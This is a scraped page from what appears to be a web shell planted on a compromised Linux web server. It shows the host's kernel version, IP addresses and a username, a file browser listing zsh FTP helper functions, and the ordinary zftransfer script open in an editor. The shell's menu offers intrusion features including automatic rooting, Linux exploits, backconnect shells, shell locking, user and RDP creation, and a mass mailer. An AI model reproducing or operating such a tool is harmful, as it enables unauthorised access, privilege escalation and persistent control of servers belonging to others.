Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
zsh /
functions /
Zftp /
[ HOME SHELL ]
Name
Size
Permission
Action
zfanon
1.86
KB
-rw-r--r--
zfautocheck
1.29
KB
-rw-r--r--
zfcd
1.89
KB
-rw-r--r--
zfcd_match
1.37
KB
-rw-r--r--
zfcget
2.01
KB
-rw-r--r--
zfclose
90
B
-rw-r--r--
zfcput
2.4
KB
-rw-r--r--
zfdir
3.25
KB
-rw-r--r--
zffcache
662
B
-rw-r--r--
zfgcp
1.91
KB
-rw-r--r--
zfget
1.73
KB
-rw-r--r--
zfget_match
1.5
KB
-rw-r--r--
zfgoto
2.2
KB
-rw-r--r--
zfhere
181
B
-rw-r--r--
zfinit
2.49
KB
-rw-r--r--
zfls
208
B
-rw-r--r--
zfmark
1.41
KB
-rw-r--r--
zfopen
1.16
KB
-rw-r--r--
zfparams
687
B
-rw-r--r--
zfpcp
1.27
KB
-rw-r--r--
zfput
1.41
KB
-rw-r--r--
zfrglob
2.09
KB
-rw-r--r--
zfrtime
1.33
KB
-rw-r--r--
zfsession
1.61
KB
-rw-r--r--
zfstat
1.98
KB
-rw-r--r--
zftp_chpwd
1.35
KB
-rw-r--r--
zftp_progress
2.03
KB
-rw-r--r--
zftransfer
1.53
KB
-rw-r--r--
zftype
553
B
-rw-r--r--
zfuget
3.81
KB
-rw-r--r--
zfuput
2.59
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : zftransfer
# function zftransfer { # Transfer files between two distinct sessions. No remote globbing # is done, since only single pairs can be transferred. emulate -L zsh [[ $curcontext = :zf* ]] || local curcontext=:zftransfer local sess1 sess2 file1 file2 oldsess=${ZFTP_SESSION} if [[ $# -ne 2 ]]; then print "Usage: zftransfer sess1:file1 sess2:file2" 1>&2 return 1 fi if [[ $1 = *:* ]]; then sess1=${1%%:*} file1=${1#*:} fi : ${sess1:=$ZFTP_SESSION} if [[ $2 = *:* ]]; then sess2=${2%%:*} file2=${2#*:} fi : ${sess2:=$ZFTP_SESSION} if [[ -z $file2 || $file2 = */ ]]; then file2="${file2}${file1:t}" fi if [[ $sess1 = $sess2 ]]; then print "zftransfer: must use two distinct sessions." 1>&2 return 1 fi zftp session $sess1 zfautocheck || return 1 # It's more useful to show the progress for the second part # of the pipeline, but unfortunately that can't necessarily get # the size from the pipe --- and if it does, it's probably wrong. # To avoid that, try to get the size and set it for the progress to # see. local style zstyle -s ':zftp:zftransfer' progress style if [[ -n $style && $style != none ]]; then local ZFTP_TSIZE array () { zftp remote $file1 >|$1 2>/dev/null array=($(<$1)) } =(<<<'temporary file') [[ $#array -eq 2 ]] && ZFTP_TSIZE=$array[1] fi # We do the RHS of the pipeline in a subshell, too, so that # the LHS can get SIGPIPE when it exits. { zstyle '*' progress none zftp get $file1 } | ( zftp session $sess2 zfautocheck && zftp put $file2 ) local stat=$? zftp session $oldsess return $stat # }
Close